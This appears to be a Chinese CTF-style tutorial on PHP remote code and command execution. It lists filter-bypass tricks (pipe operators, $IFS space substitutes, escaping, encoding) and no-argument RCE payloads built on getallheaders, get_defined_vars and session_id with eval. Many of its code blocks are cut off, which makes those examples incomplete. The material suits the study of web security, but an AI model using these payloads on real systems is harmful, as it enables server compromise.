RCE
1.简述:
在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。
危害:可以让用户(通常是系统管理员或普通用户)执行任意系统命令的漏洞。这种漏洞通常存在于某些程序或脚本中,允许输入参数被编码并传递给可执行文件。
比如:如果应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
2.分类:命令执行和代码执行
3.常见函数:
(1)命令执行函数:
system():能将字符串作为OS命令执行,且返回命令执行结果; |
(2)代码执行函数:
eval():将字符串作为php代码执行; |
4.常见绕过:
(1)管道符绕过:
;:即;前后都执行
&:即&前后都执行
&&:即如果&&前为真才执行&&后面的,不然只执行&&前面的
| :即显示|后面的执行结果
||:||前面为假时才执行||后面的,否则只执行||前面的
(2)空格过滤:
空格可以替换成:
< <> %20(即space) %09(即TAB) $IFS$9 ${IFS} $IFS {}
(3)反斜杠:
如cat、ls被过滤,使用\绕过:
c\at /flag
l\s /
(4)取反绕过:
//取反传参 |
(5)异或绕过:
这里推荐yu师傅的脚本
https://blog.csdn.net/miuzzx/article/details/109143413
https://blog.csdn.net/miuzzx/article/details/108569080
(6)黑名单绕过:
//变量拼接,如flag被过滤 |
(7)base和hexo编码绕过:
//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令 |
(8)正则匹配绕过:
//如flag被过滤 |
(9)引号绕过:
//如cat、ls被过滤* |
(10)cat替换命令:
tac 与cat相反,按行反向输出 |
(11)无回显绕过:
//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可 |
(12)无参数RCE
利用getallheaders()、get_defined_vars()、session_id等;
getallheaders():
<?php |
这个函数的作用是获取http
所有的头部信息,也就是headers
,然后我们可以用var_dump
把它打印出来,但这个有个限制条件就是必须在apache
的环境下可以使用,其它环境都是用不了的
http://1111.icu/getallheaders().php?code=var_dump(getallheaders()); |
回显:
array(7) { ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept"]=> string(135) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" ["User-Agent"]=> string(111) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" ["Upgrade-Insecure-Requests"]=> string(1) "1" ["Connection"]=> string(5) "close" ["Host"]=> string(8) "1111.icu" } |
可以看到,所有的头部信息都已经作为了一个数组打印了出来,在实际的运用中,我们肯定不需要这么多条,不然它到底执行哪一条呢?所以我们需要选择一条出来然后就执行它,这里就需要用到php
中操纵数组的函数了,这里常见的是利用end()
函数取出最后一位,这里的效果如下图所示,而且它只会以字符串的形式取出值而不会取出键,所以说键名随便取就行:1:phpinfo();
[1]=> string(10) "phpinfo() |
那我们把最前面的var_dump
改成eval
,不就可以执行phpinfo
了,
code=eval(end(getallheaders())); |
换言之,就可以实现任意php代码的代码执行了
get_defined_vars():
上面说到了,getallheaders()
是有局限性的,因为如果中间件不是apache
的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars()
,这种方法其实和上面那种方法原理是差不多的:
get_defined_vars()是获得四个全局变量$_GET $_POST $_FILES $_COOKIE
,而它的返回值是一个二维数组,我们利用GET
方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()
函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:
c=eval(end(current((get_defined_vars()));wllm=phpinfo(); |
session_id:
这种方法和前面的也差不太多,这种方法简单来说就是把恶意代码写到COOKIE
的PHPSESSID
中,然后利用session_id()
这个函数去读取它,返回一个字符串,然后我们就可以用eval
去直接执行了,这里有一点要注意的就是session_id()
要开启session
才能用,所以说要先session_start()
,这里我们先试着把PHPSESSID
的值取出来
code=var_dump(session_id(session_start())); |
Cookie:PHPSESSID=qwertyu |
直接出来就是字符串,那就非常完美,我们就不用去做任何的转换了,但这里要注意的是,PHPSESSIID
中只能有A-Z a-z 0-9
,-
,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin
(不过记得加hex2b)
(13)无字母数字RCE
异或、取反、自增、临时文件上传;
(14)取反绕过:
//取反传参 |
(15)长度限制:
touch "ag" |
补充:
关于有一些全是报错的;就比如使用var_export(scandir(“/“));扫描根目录文件结果发现全是?!什么的;就是全给你替换了,我们可以结合 exit() 函数执行php代码让后面的匹配缓冲区不执行直接退出
提前终止程序,即执行完代码直接退出,可以调用的函数有:
exit(); |
使用 glob:// 伪协议绕过 open_basedir,读取根目录下的文件,payload: |
关于极限RCE:
$_=[].''; //得到Array |
getenv:
getenv — 获取单个或者全部环境变量
参数name
getenv(name)可以利用此函数获取一个名为name环境变量的值
<?php |